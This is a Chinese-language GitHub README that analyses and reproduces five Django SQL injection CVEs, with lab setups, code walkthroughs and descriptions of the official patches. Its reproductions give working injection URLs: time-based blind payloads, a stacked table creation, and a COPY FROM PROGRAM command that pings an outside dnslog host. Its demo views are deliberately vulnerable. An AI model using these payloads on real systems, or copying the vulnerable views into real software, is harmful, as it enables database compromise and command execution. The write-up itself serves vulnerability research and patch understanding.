Skip to content

CrackerCat/Django_vulnerability_analysis

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 

Repository files navigation

author tags creation date dg-path
SurfRid3r
sql注入
Django
Python
2023-04-05
2023/04/05/Django历史漏洞高危分析.md

Django历史漏洞高危分析

漏洞分析列表

漏洞分析来源:CVE Details-https://www.cvedetails.com/product/18211/Djangoproject-Django.html?vendor_id=1019

基础知识

参考链接: Quick Reference: Django 备忘清单

# 1. 创建虚拟环境-CVE-2019-14234
mkvirtualenv django_2.2.3
workon django_2.2.3
# 2. 下载漏洞版本Django
pip install Django==2.2.3
python -m django --version
# 3. 初始化环境
django-admin startproject django_2.2.3
# 文件结构
# django_2.2.3/
#    manage.py # django-admin
#    mysite/
#        __init__.py
#        settings.py # Settings/configuration for this Django
#        urls.py # The URL declarations for this Django project
#        asgi.py #  An entry-point for ASGI-compatible web server
#        wsgi.py # An entry-point for WSGI-compatible web servers
# 4. 测试是否成功
python manage.py runserver 8080
# 5.创建应用
python .\manage.py startapp polls
# 初始化数据库
# INSTALLED_APPS setting and creates any necessary database tables
python manage.py migrate
# 6. Activating models
# settings.py的INSTALLED_APPS变量中手动添加"polls.apps.PollsConfig",并进行更新
# 1. Change your models (in models.py). 2.Run python manage.py makemigrations 3.python .\manage.py migrate
# 数据迁移
python manage.py makemigrations polls
python .\manage.py migrate

CVE-2019-14234

漏洞概述

2019 年 8 月 1 日,django 发布了漏洞 CVE-2019-14234 公告:CVE-2019-14234 是一个 SQL 注入漏洞,影响了 django.contrib.postgres.fields.JSONFielddjango.contrib.postgres.fields.HStoreField 的关键字查询和索引查询功能。攻击者可以通过伪造带有字典扩展的 kwargs 参数来实现注入攻击。具体来说,该漏洞是由于在使用 QuerySet.filter() 函数时,未对传入的参数进行充分的验证和过滤所导致的。导致攻击者可以构造恶意数据,将其作为参数传入 filter() 函数,造成 sql 注入攻击。

[!note] CVE-2019-14234: SQL injection possibility in key and index lookups for JSONField/HStoreField Key and index lookups for django.contrib.postgres.fields.JSONField and key lookups for django.contrib.postgres.fields.HStoreField were subject to SQL injection, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to QuerySet.filter().

漏洞危害

  • 危害类型: SQL注入。
  • 受影响版本:
    • <=2.2.4
    • <=2.1.11
    • <=1.11.23

漏洞分析

前置知识

  1. JSONFieldHStoreField 在公告中可以看到漏洞是由于 Django 在查询 JSONField/HStoreField 时未对参数进行过滤而导致的。那么什么是 JSONField/HStoreField 呢?在文档中可以看到,这两个都是 Django 框架中的数据库字段类型。JSONField 存储的是 Json 格式的数据,而 HStoreField 是 Django 为 PostgreSQL 设计的字段,存储键值对数据(相当于 Python 中的字典类型)。此外,在查询时,Django 提供了以下方法进行查询(多层嵌套的 json 字段 key 通过 __ 连接即可查询)。
 >>>Dog.objects.create(name='Rufus', data={
...     'breed': 'labrador',
...     'owner': {
...         'name': 'Bob',
...         'other_pets': [{
...             'name': 'Fishy',
...         }],
...     },
... })
 >>>Dog.objects.create(name='Meg', data={'breed': 'collie', 'owner': None})
 >>>Dog.objects.filter(data__breed='collie')
<QuerySet [<Dog: Meg>]>
 >>>Dog.objects.filter(data__owner__name='Bob')
<QuerySet [<Dog: Rufus>]>

环境搭建

  1. QuickReference 中查看如何创建 Django 环境和项目。需要注意的是,此漏洞需要使用 Django 的默认数据库 sqlite,但漏洞信息表明该漏洞只在 postgresql 下触发。因此,需要修改默认的数据库配置并运行以下命令以初始化项目:python manage.py startapp CVE_2019_14234。然后,在 Django 的 settings.py 中添加该项目,并将数据库配置修改为 postgresql。
# setting.py
# 添加数据库配置
# postgresql 创建对应的数据库
# CREATE DATABASE django; 
# CREATE USER myuser WITH ENCRYPTED PASSWORD 'mypass'; 
# GRANT ALL PRIVILEGES ON DATABASE django TO myuser;
# ALTER ROLE myuser SET client_encoding TO 'utf8';
DATABASES = {
 'default': {
  # 'ENGINE': 'django.db.backends.sqlite3',
  # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
  'ENGINE': 'django.db.backends.postgresql_psycopg2',
  'NAME': 'django', # 数据库名称
  'USER': 'myuser', # 登录数据库用户名
  'PASSWORD': 'mypass', # 登录数据库密码
  'HOST': 'localhost', # 数据库服务器的主机地址
  'PORT': '', # 数据库服务的端口号
 }
}

# .... 

# 添加APP
INSTALLED_APPS = [
  "CVE_2019_14234.apps.Cve201914234Config", # CVE_2019_14234\apps.py中的类名
  # ...
 ]
  1. 根据公告中的漏洞信息,该漏洞与 JSONField 和 HStoreField 这两个模型字段相关,可以在历史版本的文档中找到对应的使用方法:Django 2.1: Jsonfield 和 HStoreField, 根据给出的方法在 models.py 中添加对应的模型. 添加结束后进行迁移以在数据库中添加对应的对应的成员:`python manage.py makemigrations CVE_2019_14234.
# CVE_2019_14234\models.py
from django.contrib.postgres.fields import JSONField
from django.db import models

class Dog(models.Model):
    name = models.CharField(max_length=200)
    data = JSONField()

    def __str__(self):
        return self.name

# CVE_2019_14234\admin.py
from django.contrib import admin
from CVE_2019_14234.models import Dog
# # Register your models here.
# 在后台注册展示创建管理类,用于后台管理页面并添加一些数据。
class DogAdmin(admin.ModelAdmin):
    list_display = ['name', 'data']
    
admin.site.register(Dog, DogAdmin)
  1. 完成上述代码后,直接运行该项目 python3 manager.py runserver,并且在后台添加一些 json 数据用于后续测试,例如:
{"breed": "husky", "owner": {"name": "David", "other_pets": [{"name": "Max"}]}}
  1. 在 Django 中可以通过 URL 中查询参数来筛选和排序数据,因此直接在后台访问,通过单引号即可触发报错注入页面。CVE_2019_14234_1.png

详细分析及复现

  1. 跟踪调用链可以看到, 当通过 URL 查询后,Django 对应的查询语句入口如下, 通过 filter 函数进行查询,通过字典的方式将 URL 中的参数传入。
def get_queryset(self, request):
 # First, we collect all the declared list filters.
 (self.filter_specs, self.has_filters, remaining_lookup_params,
  filters_use_distinct) = self.get_filters(request)
 # Then, we let every list filter modify the queryset to its liking.
 # ...
 try:
  # Finally, we apply the remaining lookup parameters from the query
  # string (i.e. those that haven't already been processed by the
  # filters).
  qs = qs.filter(**remaining_lookup_params)
  1. 接着进入 filter 函数内部,此时需要的注意的是我们可控的部分分为 url_key 和 url_value 两个字段,Django 对于处理这两个字段时的 sql 语句拼接过程是不一样的。
  2. url_key 的 sql 语句拼接是通过 KeyTransform 该类生成的, 如果输入的类型是字符串,则直接使用 ' 包裹拼接。
# try_transform()
class KeyTransform(Transform):
    operator = '->'
    nested_operator = '#>'
    # ...
    def as_sql(self, compiler, connection):
        key_transforms = [self.key_name]
        previous = self.lhs
        while isinstance(previous, KeyTransform):
            key_transforms.insert(0, previous.key_name)
            previous = previous.lhs
        lhs, params = compiler.compile(previous)
        if len(key_transforms) > 1:
            return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
        try:
            int(self.key_name) # 判断key类型是否为int类型
        except ValueError:
            lookup = "'%s'" % self.key_name # 如果是字符串则使用‘包裹
        else:
            lookup = "%s" % self.key_name
        return "(%s %s %s)" % (lhs, self.operator, lookup), params # 合并成sql语句
  1. url_value 和待执行的 sql 语句作为参数传入到 cursor.execute 函数来执行生成的 sql 语句。默认情况下,Djang 通过 json.dumps 函数对 url_value 进行了编码,字符会经过转义。
class SQLCompiler:
 # ...
 def execute_sql(self, result_type=MULTI, chunked_fetch=False, chunk_size=GET_ITERATOR_CHUNK_SIZE):
  # ...
  # sql = 'SELECT "CVE_2019_14234_dog"."id", "CVE_2019_14234_dog"."name", "CVE_2019_14234_dog"."data" FROM "CVE_2019_14234_dog" WHERE ("CVE_2019_14234_dog"."data" -> 'breed')= %s ORDER BY "CVE_2019_14234_dog"."id" DESC  LIMIT 21'
  # params = ['husk']
  try:
   cursor.execute(sql, params)

# url_value 编码
def getquoted(self):
    # json.dumps
 s = self.dumps(self.adapted)
 qs = QuotedString(s)
 if self._conn is not None:
  qs.prepare(self._conn)
 return qs.getquoted()
  1. 综上可以看到 Django 没有对于 url_key 进行额外处理,导致可以通过 ' 进行闭合导致 sql 注入。
-- SELECT "CVE_2019_14234_dog"."id", "CVE_2019_14234_dog"."name", "CVE_2019_14234_dog"."data" FROM "CVE_2019_14234_dog" WHERE ("CVE_2019_14234_dog"."data" -> 'breed') = "husky" ORDER BY "CVE_2019_14234_dog"."id"
SELECT * FROM table WHERE ("CVE_2019_14234_dog"."data" -> '$URL_KEY$') = "$URL_VALUE$" ORDER BY "CVE_2019_14234_dog"."id" 

因此可以构造下述语句进行 sql 注入执行命令。

# 需要先登录后台http://127.0.0.1:8000/admin
http://127.0.0.1:8000/admin/CVE_2019_14234/dog/?data__breed')%3D''%3BCREATE%20table%20cmd_exec(cmd_output%20text)%20--=husk

http://127.0.0.1:8000/admin/CVE_2019_14234/dog/?data__breed%27)%3D%271%27%3Bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20qzdal2.dnslog.cn%27--=husk

漏洞修复

官方的补丁链接中可以看到, 修改了 KeyTransform 类中的字符串拼接方式,从而变成了不再在 KeyTransform 中处理该参数,而是将 url_key 这个参数与 url_value 参数一同作为参数传入到 crusor.execute 函数中执行,从而避免了注入。

-- 修复后
SELECT "CVE_2019_14234_dog"."id", "CVE_2019_14234_dog"."name", "CVE_2019_14234_dog"."data" FROM "CVE_2019_14234_dog" WHERE ("CVE_2019_14234_dog"."data" -> %s) = %s ORDER BY "CVE_2019_14234_dog"."id" DESC

参考链接

CVE-2020-7471

漏洞概述

2020 年 2月 3 号,Django 发布了漏洞 CVE-2020-7474 补丁更新:CVE-2020-7474 是一个 SQL 注入漏洞,其中 django.contrib.postgres.aggregates.StringAgg 聚合函数存在 SQL 注入风险。攻击者可以通过特定构造的分隔符来实现 SQL 注入攻击。

[!note] CVE-2020-7471: Potential SQL injection via StringAgg(delimiter) django.contrib.postgres.aggregates.StringAgg aggregation function was subject to SQL injection, using a suitably crafted delimiter.

漏洞危害

  • 危害类型: SQL 注入。
  • 受影响版本:
    • 3.0<=受影响版本<3.0.3
    • 2.2<=受影响版本<2.2.10
    • 1.11<=受影响版本<1.11.28

漏洞分析

前置知识

  • StringAgg:公告中涉及到的类是 StringAgg。首先需要了解这个类使用来干什么的,在官方文档中搜到说明,其作用等同于 postgresql 中的 string_agg 函数,用于,将多个字符串连接成单个字符串的聚合函数。

环境搭建

根据补丁内容,很容易可以看到注入点是在 StringAgg 函数的 delimiter 分割符参数。并且之前的复现环境 [CVE-2019-14234](#CVE-2019-14234 刚好版本满足,还能够继续复用。所以这次尝试使用 chatgpt 帮我生成了一个使用 StringAgg 函数且 delimiter 能够作为参数被用户输入的场景(生成的书籍查询:即当前存在一些书籍信息,其中包含了作者名称,一个作者可能会有多本著作,当查询作者名称时会返回其所有的书籍名称)稍作修改如下。:

  • CVE_2020_7471/models.py
from django.db import models

# Create your models here.
class Author(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name

class Book(models.Model):
    title = models.CharField(max_length=100)
    author = models.ForeignKey(Author, on_delete=models.CASCADE)
  • CVE_2020_7471/views.py
from django.shortcuts import render
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Value
from CVE_2020_7471.models import Author,Book
# Create your views here.

def author_books(request):
    delimiter = request.GET.get("delimiter", ", ")
    author_name = request.GET.get("name")
    if author_name:
        authors = Author.objects.filter(name=author_name)
    else:
        authors = Author.objects.all()
    books_by_author = {}
    for author_i in authors:
        books = Book.objects.filter(author=author_i).aggregate(result=StringAgg("title", delimiter=delimiter))["result"]
        books_by_author[author_i] = books

    context = {"authors": authors, "books_by_author": books_by_author}
    return render(request, "CVE_2020_7471/author_books.html", context)
  • CVE_2020_7471/templates/CVE_2020_7471/author_books.html
<table>
  <thead>
    <tr>
      <th>Author</th>
      <th>Books</th>
    </tr>
  </thead>
  <tbody>
    {% for author, books in books_by_author.items %}
      <tr>
        <td>{{ author.name }}</td>
        <td>
          {% if books %}
            {{ books }}
          {% else %}
            No books found.
          {% endif %}
        </td>
      </tr>
    {% endfor %}
  </tbody>
</table>

详细分析及复现

这个漏洞比较简单,根据补丁信息可以看到,Django 直接将 delimiter 的内容作为输入拼接,作为 sql 查询的一部分导致存在 sql 注入。其查询的语句为:

SELECT STRING_AGG("CVE_2020_7471_book"."title", '{{delimiter}}') AS "result" FROM "CVE_2020_7471_book" WHERE "CVE_2020_7471_book"."author_id" = %s

其注入的位置位于 select 子句中,使用 ‘) 对 StringAgg 函数闭合后,就可以构造下述语句进行 sql 注入执行命令。

http://127.0.0.1:8000/CVE_2020_7471/?delimiter=,'||(select version())),('

漏洞修复

Django对两个文件进行了修改:general.pymixins.py。在这些修改中,最终的SQL查询模板是通过template实现的,并且会根据此模板来拼接SQL语句;OrderableAggMixinStringAgg 的父类,在调用 super().__init__() 时将进入该类的初始化函数中。 在存在漏洞的版本中,我们可以看到 delimiter 被直接拼接到 SQL 语句中,而没有进行任何处理。而在修补后的版本中,Django 先将 delimiter 转换为 Value 类型,然后与 expression 一同作为 *expressions 数组中的内容传递到 OrderableAggMixin__init__ 函数中 (例如在 StringAgg("title", delimiter=',') 函数中 expression 值为 title) 。 Value 类型的作用是将内容作为参数 %s 传递到 SQL 语句中, 从而避免了 SQL 注入攻击。

def _execute(self, sql, params, *ignored_wrapper_args):
 # ...
 # sql = 'SELECT STRING_AGG("CVE_2020_7471_book"."title", %s ) AS "result" FROM "CVE_2020_7471_book" WHERE "CVE_2020_7471_book"."author_id" = %s'
 # params = ("'", 1)
 # => SELECT STRING_AGG("CVE_2020_7471_book"."title", '''' ) AS "result" FROM "CVE_2020_7471_book" WHERE "CVE_2020_7471_book"."author_id" = 1
 return self.cursor.execute(sql, params)

参考链接

CVE-2021-35042

漏洞概述

2021年,django 发布了漏洞 CVE-2021-35042公告:CVE-2021-35042是一个潜在的 SQL 注入漏洞,通过未经过滤的用户输入传递给 QuerySet.order_by() 函数,可以进行绕过从而导致潜在的 SQL 注入。

[!note] CVE-2021-35042: Potential SQL injection via unsanitized QuerySet.order_by () input Unsanitized user input passed to QuerySet.order_by() could bypass intended  column reference validation in path marked for deprecation resulting in a potential SQL injection even if a deprecation warning is emitted.

As a mitigation the strict column reference validation was restored for the duration of the deprecation period. This regression appeared in 3.1 as a side effect of fixing #31426.

漏洞危害

  • 危害类型: SQL 注入。
  • 受影响版本:
    • 受影响版本< 3.2.5
    • 受影响版本< 3.1.13

漏洞分析

前置知识

根据公告信息,该漏洞位于 QuerySet.order_by 函数中。根据官方文档,可以知道该函数是用于对查询结果后的内容进行排序的,就如同 sql 中的 order by 命令,主要的使用方式如下:

  1. 支持多列进行排序:Entry.objects.order_by('blog__name', 'headline')
  2. -|+ 用来表示 ASC/DESC
  3. ?: 随机排序

环境搭建

这次搭建很简单,需要使用 Django3.1.12 版本。

mkvirtualenv django_3.1.12
workon django_3.1.12
pip install Django==3.1.12
django-admin startproject django_2.2.3
python .\manage.py startapp CVE_2021_35042

构造一个查询书籍的场景。

  • CVE_2021_35042/models. py
class Book(models.Model):
 title = models.CharField(max_length=100)
 publication_date = models.DateField()
 
 def __str__(self):
  return self.title
  • CVE_2021_35042/views. py
from CVE_2021_35042.models import Book
def book_list(request):
    order_by = request.GET.get('order_by', 'publication_date')  # 默认排序字段为 publication_date
    books = Book.objects.all().order_by(order_by)
    return render(request, 'CVE_2021_35042/book_list.html', {'books': books})
  • CVE_2021_35042/templates/CVE_2021_35042/book_list. html
<a href="?order_by=publication_date">Sort by Publication Date</a>
<a href="?order_by=title">Sort by Title</a>
{% for book in books %}
    <p>{{ book.title }}</p>
{% endfor %}
  • django_2_2_3/urls. py
urlpatterns = [
    path('admin/', admin.site.urls),
    path("CVE_2021_35042/", b
    ook_list, name="bool_list")
]

详细分析及复现

从补丁位置看到,order_by 其处理逻辑位于 add_ordering 函数中,可以看到该函数会逐个处理 order_by 函数传入的参数即 item。正常情况下会进入到 self.names_to_path 函数中,Django 会对传入的 item 名称在字典中搜索获取对应的 field 属性(详见下图 get_field 函数)。 但是如果传入的字符串中包含符号 .,即通过表别名+列名的方式传入 (table.col),那么就不会进入到 self.names_to_path 函数中检验,而是直接跳过,最终会将该输入的值直接作为 order_by 内容作为 sql 语句的一部分进行拼接(其中转为 sql 语句时会调用 quote_name_unless_alias 函数对内容加上 "),其查询的语句为:

-- order_by_ite = quote_name_unless_alias(item)
SELECT "CVE_2021_35042_book"."id", "CVE_2021_35042_book"."title", "CVE_2021_35042_book"."publication_date" FROM "CVE_2021_35042_book" ORDER BY (%order_by_item%) ASC

因此可以构造如下注入语句进行注入

# 1"),iif((select sqlite_version() like "3%"),RANDOMBLOB(500000000/2),1)--.
http://127.0.0.1:8000/CVE_2021_35042/?order_by=1%22),iif((select%20sqlite_version()%20like%20%223%%22),RANDOMBLOB(500000000/2),1)--.

漏洞修复

补丁中可以看到如果是通过表别名+列名的方式传入, Django 会通过正则进行匹配,只限定字母和 +,-,. 符号的传入,防止通过 " 等方式去提前闭合语句造成注入。

参考链接

CVE-2022-34265

漏洞概述

2022年,django 发布了漏洞 CVE-2022-34265 公告:CVE-2022-34265是一个潜在的 SQL 注入漏洞,通过将未受信任的数据用作 Trunc(kind)Extract(lookup_name) 参数的值,可以导致 SQL 注入。

[!note] CVE-2022-34265: Potential SQL injection via Trunc(kind) and Extract(lookup_name) arguments Trunc() and Extract () database functions were subject to SQL injection if untrusted data was used as a kind/lookup_name value.

Applications that constrain the lookup name and kind choice to a known safe list are unaffected.

漏洞危害

  • 危害类型:SQL 注入
  • 受影响版本:
    • 受影响版本< 4.0.6
    • 受影响版本< 3.2.14

漏洞分析

前置知识

根据公告信息和补丁中添加的测试案例,直接能够看到漏洞所在函数是 Trunc()Extract() ,并且也给出测试触发案例。 此外从文档中可以得知 Trunc()Extract() 都是用于处理时间的函数,Trunc 是用于截断日期的一部分;Extract 用于将日期的一个组成部分提取为数字,两个函数的参数输入类似。

环境搭建

参考官方测试案例构造即可,如下:

# CVE_2022_34265/modesl.py
class DateModel(models.Model):
    start_datetime = models.DateTimeField()
    end_datetime = models.DateTimeField()

# CVE_2022_34265/views.py
from django.http import HttpResponse
from django.db.models.functions import Trunc, Extract
from CVE_2022_34265.models import DateModel

def trunc_view(request):
    unit = request.GET.get('unit', 'day')
    data = DateModel.objects.annotate(start_day=Trunc('start_datetime', unit))
    # print(DateModel.objects.annotate(start_day=Trunc('start_datetime', unit)).query.__str__())
    response = "<h1>Trunc View</h1>"
    response += "<table>"
    response += "<thead>"
    response += "<tr><th>Start Datetime</th><th>Start day</th></tr>"
    response += "</thead>"
    response += "<tbody>"
    for item in data:
        response += "<tr><td>{}</td><td>{}</td></tr>".format(item.start_datetime, item.start_day)
    response += "</tbody>"
    response += "</table>"
    
    return HttpResponse(response)

def extract_view(request):
    unit = request.GET.get('unit', 'month')
    data = DateModel.objects.annotate(end_month=Extract('end_datetime', unit))
    
    response = "<h1>Extract View</h1>"
    response += "<table>"
    response += "<thead>"
    response += "<tr><th>End Datetime</th><th>End Month</th></tr>"
    response += "</thead>"
    response += "<tbody>"
    for item in data:
        response += "<tr><td>{}</td><td>{}</td></tr>".format(item.end_datetime, item.end_month)
    response += "</tbody>"
    response += "</table>"
    
    return HttpResponse(response)

详细分析及复现

从测试案例中即可看到是因为 _lookup_name_ / kind 两个参数原始是传递的是时间中 year,day 等参数用来标识具体时间的,但是 Django 没有对参数进行校验直接传入作为 sql 语句的一部分了。 值得注意的是,在使用 Django4.0.1 测试时,发现最后拼接查询的 sql 语句与网上其他漏洞分析中的语句略有不同,注入点从子句 where 到了 select 位置,如下:

SELECT "CVE_2022_34265_datemodel"."id", "CVE_2022_34265_datemodel"."start_datetime", "CVE_2022_34265_datemodel"."end_datetime", django_datetime_trunc(%vuln_data_input%, "CVE_2022_34265_datemodel"."start_datetime", 'UTC', 'UTC') AS "start_day" FROM "CVE_2022_34265_datemodel" LIMIT 21

因此可以构造如下注入语句进行注入:

# unit = year1,0,0,0),iif((select sqlite_version() like '4%'),RANDOMBLOB(500000000/2),1),date('

http://127.0.0.1:8000/CVE_2022_34265/trunc/?unit=year1%27,0,0,0),iif((select%20sqlite_version()%20like%20%224%%22),RANDOMBLOB(500000000/2),1),date(%27

PS: sql 语句的 django_datetime_trunc 函数是 Django 通过 sqlite 数据库接口创建的用户自定义函数,用于进行拓展,如下:

漏洞修复

Django 对该漏洞的修复与 CVE-2021-35042 类似,直接写了一个正则表示在调用时对输入参数进行内容匹配。

参考链接

CVE-2022-28346

漏洞概述

2022年,Django 发布了漏洞 CVE-2022-28346 公告:CVE-2022-28346 是一个潜在的 SQL 注入漏洞,通过在 QuerySet.annotate()aggregate()extra() 函数中使用适当构造的字典作为 **kwargs 参数传递给这些方法时,可以进行列别名的 SQL 注入。

[!note] CVE-2022-28346: Potential SQL injection in QuerySet.annotate()aggregate(), and extra() QuerySet.annotate()aggregate(), and extra() methods were subject to SQL injection in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to these methods.

漏洞危害

  • 危害类型:SQL 注入
  • 受影响版本:
    • 受影响版本< 4.0.4
    • 受影响版本< 3.2.13
    • 受影响版本< 2.2.28

漏洞分析

前置知识

QuerySet.annotate()aggregate()extra() 函数是 Django 中用于进行复杂查询和聚合操作的函数,详见官方文档。 以 annotate(_*args_, _**kwargs_) 函数为例,在官方的使用示例如下:

# The number of entries on the first blog
>>> q = Blog.objects.annotate(Count('entry'))
>>> q[0].entry__count
42
>>> q = Blog.objects.annotate(number_of_entries=Count('entry'))
>>> q[0].number_of_entries
42

根据示例和传入参数,我们可以看出annotate函数支持以字典形式传入参数。当使用annotate查询结果后,会添加一个新的字段来记录查询结果。用户可以通过获取该字段来获取结果。此外,用户还可以自定义新字段的名称,通过字典的键值对进行传入。以上述示例为例,number_of_entries就是新增字段的名称。

环境搭建

根据 Django 的补丁链接中的 Demo 案例 ,结合官网示例,搭建的环境如下:

# CVE_2022_28346\modes.py
class Book(models.Model):
    name = models.CharField(max_length=300)
    pages = models.IntegerField()
    price = models.DecimalField(max_digits=10, decimal_places=2)
    rating = models.FloatField()
    pubdate = models.DateField()
    
# CVE_2022_28346\views.py
def book_list_view(request):
    alias = request.GET.get("alias", None)
    func = request.GET.get("func", None)

    response = "<h2>Book List</h2>"

    if func == "aggregate" and alias:
        aggregate_param = request.GET.get("aggregate_param", "price")
        data = Book.objects.aggregate(**{alias: Avg(aggregate_param)})
        response += "<p>{alias}: {value:.2f}</p>".format(
            alias=alias.capitalize(), value=data[alias]
        )
    elif (func == "annotate" or func == "extra") and alias:
        if func == "annotate":
            queryset = Book.objects.annotate(**{alias: Sum("price")})
        else:
            queryset = Book.objects.extra(
                select={alias: "price"}, where=["price > 20"]
            )

        if queryset.exists():
            response += "<table><thead><tr><th>Name</th><th>{alias}</th></tr></thead><tbody>".format(
                alias=alias.capitalize()
            )
            for book in queryset:
                response += "<tr><td>{name}</td><td>{value:.2f}</td></tr>".format(
                    name=book.name, value=getattr(book, alias)
                )
            response += "</tbody></table>"
        else:
            response += "<p>No books found.</p>"
    else:
        books = Book.objects.all()
        response += "<table><thead><tr><th>Name</th><th>Pages</th><th>Price</th><th>Rating</th><th>Pubdate</th></tr></thead><tbody>"
        for book in books:
            response += "<tr><td>{name}</td><td>{pages}</td><td>{price}</td><td>{rating}</td><td>{pubdate}</td></tr>".format(
                name=book.name,
                pages=book.pages,
                price=book.price,
                rating=book.rating,
                pubdate=book.pubdate,
            )
        response += "</tbody></table>"

    return HttpResponse(response)

详细分析及复现

对于QuerySet.annotate()aggregate()extra()函数传入用户自定义字段名的操作,其在SQL语句中对应的是AS关键字。可以很容易推测出,Django没有对该别名进行内容过滤,导致别名直接拼接到SQL语句中,从而导致存在SQL注入漏洞。 对着补丁函数下断点即可看到过程,以下是上述 Demo 案例中 QuerySet.annotate()aggregate()extra() 各函数对应的查询语句,完全符合上述猜想:

-- %vuln_data_input%为传入alias参数
-- extra
SELECT (price) AS "%vuln_data_input%", "CVE_2022_28346_book"."id", "CVE_2022_28346_book"."name", "CVE_2022_28346_book"."pages", "CVE_2022_28346_book"."price", "CVE_2022_28346_book"."rating", "CVE_2022_28346_book"."pubdate" FROM "CVE_2022_28346_book" WHERE (price > 20)
-- aggregate
SELECT CAST(AVG("CVE_2022_28346_book"."price") AS NUMERIC) AS "%vuln_data_input%" FROM "CVE_2022_28346_book"
-- annotate
SELECT "CVE_2022_28346_book"."id", "CVE_2022_28346_book"."name", "CVE_2022_28346_book"."pages", "CVE_2022_28346_book"."price", "CVE_2022_28346_book"."rating", "CVE_2022_28346_book"."pubdate", CAST(SUM("CVE_2022_28346_book"."price") AS NUMERIC) AS "%vuln_data_input%" FROM "CVE_2022_28346_book" GROUP BY "CVE_2022_28346_book"."id", "CVE_2022_28346_book"."name", "CVE_2022_28346_book"."pages", "CVE_2022_28346_book"."price", "CVE_2022_28346_book"."rating", "CVE_2022_28346_book"."pubdate"

注入点是位于 select 子句中的,接下只要构造内容闭合进行注入即可 (三个函数都是同样的情况),如下:

# alias=avg",iif((select sqlite_version() like "%4"),RANDOMBLOB(500000000/2),1),"

http://127.0.0.1:8000/CVE_2022_28346/?alias=avg%22,iif((select%20sqlite_version()%20like%20%224%%22),RANDOMBLOB(500000000/2),1),%22&func=aggregate

漏洞修复

漏洞修复和上述几个漏洞相同,对 alias 进行内容校验,过滤了一些特殊符号,防止提前对内容进行闭合,导致注入。

参考链接

CVE-2022-28347

漏洞概述

2022年,django 发布了漏洞 CVE-2022-28347 公告:CVE-2022-28347 是一个潜在的 SQL 注入漏洞,通过在 PostgreSQL 上使用 QuerySet.explain(**options) 方法时,使用适当构造的字典作为 **options 参数,可以进行 SQL 注入。

[!note] CVE-2022-28347: Potential SQL injection via QuerySet.explain(**options) on PostgreSQL QuerySet.explain() method was subject to SQL injection in option names, using a suitably crafted dictionary, with dictionary expansion, as the **options argument.

漏洞危害

  • 危害类型:SQL 注入
  • 受影响版本:
    • 受影响版本< 4.0.4
    • 受影响版本< 3.2.13
    • 受影响版本< 2.2.28

漏洞分析

前置知识

该漏洞只影响 postgresql 数据库,通过 Django文档可以了解到 explain 函数是用来分析 Django 对应的查询命令,并且输出对应 SQL 语句的查询计划。其等价于 postgresql 中的 EXPLAIN 命令

环境搭建

因为该漏洞需要使用的是 postgresql 数据库,之前使用的都是 sqlite 数据。因此除了新增了 views.py 外,还额外添加数据库路由配置 database_router.py,具体如下:

# CVE_2022_28347\views.py
def books_view(request):
    # 获取查询执行计划
    explain_dict = dict(request.GET.items())
    queryset = Book.objects.all()
    # 构建 HTML 内容
    html_content = "<!DOCTYPE html><html> <head><title>Query Execution Plan</title></head><body><h1>Query Execution Plan</h1><pre>{query_plan}</pre></body></html>".format(query_plan=queryset.explain(format=None, **explain_dict))

    return HttpResponse(html_content)

# database_router.py
class AppRouter:
    def db_for_read(self, model, **hints):
        if model._meta.app_label == "CVE_2022_28347":
            return "postgres_db"
        return None

    def db_for_write(self, model, **hints):
        if model._meta.app_label == "CVE_2022_28347":
            return "postgres_db"
        return None
# settings.py
DATABASE_ROUTERS = ['django_4_0_1.database_router.AppRouter']

详细分析及复现

从公告中可以看到漏洞输入点位于 **option 参数,该字典参数内容最终由 explain_query_prefix 函数处理。默认数据库对于有值的 **option 参数是不会处理的,并且会抛出异常。 Django 中 postgresql 类中重载了该函数。Django 在从 **options 中提取 key 值的时候,直接将 key 提取进行了拼接作为了后面 explain 查询的中的参数。 sql 语句如下

EXPLAIN (%vuln_data_input%) SELECT "CVE_2022_28347_book"."id", "CVE_2022_28347_book"."title", "CVE_2022_28347_book"."author" FROM "CVE_2022_28347_book"

EXPALIN 默认是不执行对应的语句的。但是在 postgresql 的文档中可以看到,EXPALIN 中有一个 ANALYZE 参数,添加该参数后,postgresql 会执行命令并显示实际运行时间和其他统计信息,因此只能通过该参数闭合然后进行时间盲注,构造如下语句:

# http://127.0.0.1:8000/CVE_2022_28347/?ANALYZE)%20SELECT%20pg_sleep(5)--=1
EXPLAIN (ANALYZE) SELECT pg_sleep(5)--

漏洞修复

  1. Django 在补丁中对 **option 传入的参数进行了校验,限定了 EXPLAIN 函数支持的那个几个参数!
  2. 在 Django 的 explain (format=None, **options) 中会直接对传入的 options 进行正则校验, 限定了传入的字符类型

参考链接

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 98.5%
  • HTML 1.5%